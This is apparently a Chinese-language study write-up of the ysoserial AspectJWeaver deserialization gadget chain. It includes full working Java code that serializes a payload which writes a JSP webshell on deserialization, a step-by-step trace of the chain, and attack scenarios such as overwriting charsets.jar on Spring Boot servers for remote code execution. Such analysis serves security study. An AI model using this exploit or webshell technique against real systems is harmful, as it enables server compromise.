0 前言

ysoserial反序列化系列學習記錄之一，最近看到利用AspectJWeaver這個gadget實現webshell寫入的滲透記錄帖子，而這個gadget用到的Commons-Collections版本為3.2.2，高版本的CC更具實用性。除了詳細解析gadget之外，還考慮了兩種實際攻擊場景的應用。

1 環境

jdk1.8u40

Commons-Collections：3.2.2

aspectjweaver：1.9.2

aspectjweaver這個包是Spring AOP所需要的依賴，用於實現AOP做切入點表示式、aop相關注解

pom.xml依賴如下：

<dependency>

    <groupId>org.aspectj</groupId>

    <artifactId>aspectjweaver</artifactId>

    <version>1.9.2</version>

</dependency>

<dependency>

    <groupId>commons-collections</groupId>

    <artifactId>commons-collections</artifactId>

    <version>3.2.2</version>

</dependency>

實驗程式碼如下：



import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import org.apache.commons.collections.map.LazyMap;

import java.io.*;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.nio.charset.StandardCharsets;

import java.util.HashMap;

import java.util.HashSet;

import java.util.Map;

public class aspectjweaver {

    /*

    commons-collections:3.2.2

    aspectjweaver:1.9.2   spring AOP做切入點表示式、aop相關注解時需要

     */

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {

        String fileName = "test.jsp";

        String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";

        byte[] exp = tmp.getBytes(StandardCharsets.UTF_8);

        // 建立StoreableCachingMap物件

        Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);

        constructor.setAccessible(true);

        Object map = constructor.newInstance(".", 12);

        // 把儲存了檔案內容的物件exp放到ConstantTransformer中，後面呼叫ConstantTransformer#transform(xx)時，返回exp物件

        ConstantTransformer constantTransformer = new ConstantTransformer(exp);

        // 用LazyMap和TiedMapEntry包裝Transformer類，以便於將觸發點擴充套件到hashCode、toString、equals等方法

        Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

        // 反序列化漏洞的啟動點: HashSet

        HashSet hashSet = new HashSet(1);

        // 隨便設定一個值，後面反射修改為tiedMapEntry，直接add(tiedMapEntry)會在序列化時本地觸發payload

        hashSet.add("fff");

        // 獲取HashSet中的HashMap物件

        Field field;

        try {

            field = HashSet.class.getDeclaredField("map");

        } catch (NoSuchFieldException e){

            field = HashSet.class.getDeclaredField("backingMap");  // jdk

        }

        field.setAccessible(true);

        HashMap innerMap = (HashMap) field.get(hashSet);

        // 獲取HashMap中的table物件

        Field field1;

        try{

            field1 = HashMap.class.getDeclaredField("table");

        }catch (NoSuchFieldException e){

            field1 = HashMap.class.getDeclaredField("elementData");

        }

        field1.setAccessible(true);

        Object[] array = (Object[]) field1.get(innerMap);

        // 從table物件中獲取索引0 或 1的物件，該物件為HashMap$Node類

        Object node = array[0];

        if(node==null){

            node = array[1];

        }

        // 從HashMap$Node類中獲取key這個field，並修改為tiedMapEntry

        Field keyField = null;

        try {

            keyField = node.getClass().getDeclaredField("key");

        }catch (NoSuchFieldException e){

            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");

        }

        keyField.setAccessible(true);

        keyField.set(node, tiedMapEntry);

        // 序列化和反序列化測試

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("serialize.ser"));

        objectOutputStream.writeObject(hashSet);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("serialize.ser"));

        objectInputStream.readObject();

    }

}

執行成功後會在執行路徑下寫個test.jsp，下面來看看這個gadget具體是怎麼觸發的

2 gadget解析

2.1 高版本Commons-Collections的防禦措施

在3.1或者4.0版本的Commons-Collections利用鏈中，最底層都要呼叫到InvokerTransformer類，高版本的修復方式就是在這個類的readObject和writeObject中加入安全警告，如下：

由於反序列化時，會自動呼叫類的readObject方法，所以當位元組碼傳遞到伺服器短時，一執行InvokerTransformer#readObject方法就會觸發警告，停止反序列化，必須伺服器端手動開啟允許反序列化的設定。

2.2 獲取AspectJWeaver的呼叫鏈

這個gadget最終要寫一個檔案，根據Windows的檔名要求，我們寫入"test.?jsp"時會出問題，如此即可獲得呼叫鏈。獲得呼叫鏈如下：

如果研究過低版本下Commons-Collections的HashSet呼叫鏈，肯定就會非常熟悉readObject後面這一部分。首先HashSet#readObject方法會觸發map.put(e, PRESENT)

  • HashSet#readObject
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {

    // 省略了不重要的部分

    // Create backing HashMap

    map = (((HashSet<?>)this) instanceof LinkedHashSet ?

           new LinkedHashMap<E,Object>(capacity, loadFactor) :

           new HashMap<E,Object>(capacity, loadFactor));

    // Read in all elements in the proper order.

    for (int i=0; i<size; i++) {

        @SuppressWarnings("unchecked")

        E e = (E) s.readObject();

        map.put(e, PRESENT);  // 觸發點

    }

}

此時有個很關鍵的問題在於這個物件e到底是啥？回到我們的程式碼利用反射修改值的部分

// 用LazyMap和TiedMapEntry包裝Transformer類，以便於將觸發點擴充套件到hashCode、toString、equals等方法

Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

// 反序列化漏洞的啟動點: HashSet

HashSet hashSet = new HashSet(1);

// 隨便設定一個值，後面反射修改為tiedMapEntry，直接add(tiedMapEntry)會在序列化時本地觸發payload

hashSet.add("fff");

// 獲取HashSet中的HashMap物件

Field field;

try {

    field = HashSet.class.getDeclaredField("map");

} catch (NoSuchFieldException e){

    field = HashSet.class.getDeclaredField("backingMap");  // jdk

}

field.setAccessible(true);

HashMap innerMap = (HashMap) field.get(hashSet);

// 獲取HashMap中的table物件

Field field1;

try{

    field1 = HashMap.class.getDeclaredField("table");

}catch (NoSuchFieldException e){

    field1 = HashMap.class.getDeclaredField("elementData");

}

field1.setAccessible(true);

Object[] array = (Object[]) field1.get(innerMap);

// 從table物件中獲取索引0 或 1的物件，該物件為HashMap$Node類

Object node = array[0];

if(node==null){

    node = array[1];

}

// 從HashMap$Node類中獲取key這個field，並修改為tiedMapEntry

Field keyField = null;

try {

    keyField = node.getClass().getDeclaredField("key");

}catch (NoSuchFieldException e){

    keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");

}

keyField.setAccessible(true);

keyField.set(node, tiedMapEntry);

首先是lazyMap和TiedMapEntry後面再詳細解析，後面部分的程式碼則是將"fff"替換成tiedMapEntry物件，這時需要從原始碼中看看HashSet如何儲存值的：

  • HashSet中的所有物件都儲存在內部HashMap的key中，以保證唯一性

  • HashMap的每個key->value鍵值對儲存在一個命名為table的Node類陣列中，每次呼叫HashMap#get方法時，實際時從這個陣列中獲取值

  • 跟進看看HashMap$Node類

到這裡也就很清楚了，只需要通過反射獲取HashSet內部的HashMap物件，在修改HashMap$Node類中的key屬性為tiedMapEntry即可，回看一下程式碼應該很容易理解。

2.3 gadget詳解

前面已經說到，HashSet#readObject方法會呼叫HashMap#put方法，

  • HashSet#readObject()
public class HashSet<E> extends AbstractSet<E> implements Set<E>, Cloneable, java.io.Serializable

{

    private static final Object PRESENT = new Object();

    private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {

        // 省略了不重要的部分

        // Create backing HashMap

        map = (((HashSet<?>)this) instanceof LinkedHashSet ?

               new LinkedHashMap<E,Object>(capacity, loadFactor) :

               new HashMap<E,Object>(capacity, loadFactor));

        // Read in all elements in the proper order.

        for (int i=0; i<size; i++) {

            @SuppressWarnings("unchecked")

            E e = (E) s.readObject();

            map.put(e, PRESENT);  // 觸發點，PRESENT=new Object(); 原始碼中可見，就不截圖了

        }

    }

}

由於HashSet只有一個值，所以相當於執行了HashMap.put(tiedMapEntry, new Object())，跟著這個基礎，繼續往下看

  • HashMap#put(tiedMapEntry, new Object())
public V put(K key, V value) {

    return putVal(hash(key), key, value, false, true);

}

此時key=tiedMapEntry，value=object (將new Object()簡寫為object，這個值不影響啥)，明顯會先執行HashMap#hash(tiedMapEntry)，跟進一下

  • HashMap#hash(tiedMapEntry)
static final int hash(Object key) {

    int h;

    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);

}

此時key=tiedMapEntry，程式碼中明顯會先呼叫key.hashCode()方法，也就是執行了tiedMapEntry.hashCode()，此時繼續跟進

  • TiedMapEntry#hashCode()
public int hashCode() {

    Object value = getValue();

    return (getKey() == null ? 0 : getKey().hashCode()) ^

        (value == null ? 0 : value.hashCode());

}

這裡會先呼叫TiedMapEntry#getValue()方法，需要跟進一下

  • TiedMapEntry#getValue()

此時map和key分別是啥呢？這就要回看一下我們的程式碼和TiedMapEntry的構造方法了！

  • TiedMapEntry的構造方法
public TiedMapEntry(Map map, Object key) {

    super();

    this.map = map;

    this.key = key;

}
  • payload中的相應程式碼
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

也就是說，上面的圖片中，map=lazyMap，key=filename，所以直接跟進LazyMap#get(filename)和LazyMap.decorate()方法

  • LazyMap.decorate(Map, Transformer)和對應的構造方法
public static Map decorate(Map map, Transformer factory) {

    return new LazyMap(map, factory);

}

// 構造方法

protected LazyMap(Map map, Transformer factory) {

    super(map);

    if (factory == null) {

        throw new IllegalArgumentException("Factory must not be null");

    }

    this.factory = factory;

}
  • LazyMap#get(filename)
public Object get(Object key) {

    // create value for key if key is not currently in the map

    if (map.containsKey(key) == false) {

        Object value = factory.transform(key);

        map.put(key, value);

        return value;

    }

    return map.get(key);

}

此時會看我們的程式碼關於lazyMap的部分

String fileName = "test.jsp";

String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";

byte[] exp = tmp.getBytes(StandardCharsets.UTF_8);

// 建立StoreableCachingMap物件

Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);

constructor.setAccessible(true);

Object map = constructor.newInstance(".", 12);

// 把儲存了檔案內容的物件exp放到ConstantTransformer中，後面呼叫ConstantTransformer#transform(xx)時，返回exp物件

ConstantTransformer constantTransformer = new ConstantTransformer(exp);

// 用LazyMap和TiedMapEntry包裝Transformer類，以便於將觸發點擴充套件到hashCode、toString、equals等方法

Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);

也就是說，lazyMap.map=StoreableCachingMap，lazyMap.factory=ConstantTransformer，將這些資訊帶入到LazyMap.get(filename)，

    1. 由於map.containsKey(filename)=false，所以進入if程式碼塊。
    1. 此時呼叫lazyMap.factory.transform(filename)，也就是ConstantTransformer.transform(filename)，跟進一下該方法
// 構造方法，使得iConstant=exp

public ConstantTransformer(Object constantToReturn) {

    super();

    iConstant = constantToReturn;

}

// transform方法，返回iConstant，也就是exp

public Object transform(Object input) {

    return iConstant;

}

執行完後，回到LazyMap.get(filename)中，此時value=exp，執行map.put(filename, exp)，實際上執行StoreableCachingMap.put(filename, exp)，繼續跟進

  • StoreableCachingMap.put(filename, exp)
private static final String SAME_BYTES_STRING = "IDEM";

private static final byte[] SAME_BYTES = SAME_BYTES_STRING.getBytes();

public Object put(Object key, Object value) {

    try {

        String path = null;

        byte[] valueBytes = (byte[]) value;

        if (Arrays.equals(valueBytes, SAME_BYTES)) {  // SAME_BYTES = "IDEM".getBytes();

            path = SAME_BYTES_STRING;

        } else {

            path = writeToPath((String) key, valueBytes);

        }

        Object result = super.put(key, path);

        storeMap();

        return result;

    } catch (IOException e) {

        trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);

        Dump.dumpWithException(e);

    }

    return null;

}

這裡key=filename，value=exp，帶入程式碼中，更改變數名valueBytes=exp陣列，然後進入if判斷語句，顯然"IDEM"和我們的exp不相等，進入else程式碼塊，跟進writeToPath((String) key, valueBytes)

  • StoreableCachingMap#writeToPath((String) key, valueBytes)
private String writeToPath(String key, byte[] bytes) throws IOException {

    String fullPath = folder + File.separator + key;

    FileOutputStream fos = new FileOutputStream(fullPath);

    fos.write(bytes);

    fos.flush();

    fos.close();

    return fullPath;

}

此時key=filename，bytes=惡意程式碼byte陣列，程式碼比較簡單，就是單純的寫檔案，因為沒有catch語句，所以2.2中獲取呼叫鏈時給filename="test.?jsp"會觸發報錯，從而給出呼叫鏈。

到這裡整個gadget就解析完了，主要是避開了InvokerTransformer#readObject時的安全檢查，並利用lazyMap.get()方法去呼叫寫檔案的類，從而達到檔案寫入的能力。最後再結合ysoserial中給出的呼叫鏈回顧一下整個呼叫鏈

Gadget chain:

HashSet.readObject()

    HashMap.put()

        HashMap.hash()

            TiedMapEntry.hashCode()

                TiedMapEntry.getValue()

                    LazyMap.get()

                        SimpleCache$StorableCachingMap.put()

                            SimpleCache$StorableCachingMap.writeToPath()

                                FileOutputStream.write()

3 兩種應用場景

3.1 直接寫入jsp

如果目標Web應用可以寫入jsp，並且能夠解析，那直接寫jsp Webshell即可，比較直接，就不多說了

3.2 SpringBoot採用jar包部署的情況

現在很多應用都採用了SpringBoot打包成一個jar或者war包放到伺服器上部署，就算我們能夠寫檔案，也不會被內嵌的中介軟體解析，這個時候應該怎麼辦呢？

LandGrey大佬給出瞭解決辦法：Spring Boot Fat Jar 寫檔案漏洞到穩定 RCE 的探索

向伺服器的jdk目錄下寫入jar包，由於jvm的類載入機制，並不會一次性把所有jdk中的jar包都進行載入，所以可以先寫入/jre/lib/charsets.jar進行覆蓋，然後給request header中加入特殊頭部，此時由於給定了字元編碼，會讓jvm去載入charset.jar，從而觸發惡意程式碼。惡意頭部可以如下：

Accept: text/plain, */*; q=0.01

Accept: text/html;charset=GBK

...

具體細節請見大佬的部落格和github倉庫。

參考

Spring Boot Fat Jar 寫檔案漏洞到穩定 RCE 的探索

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java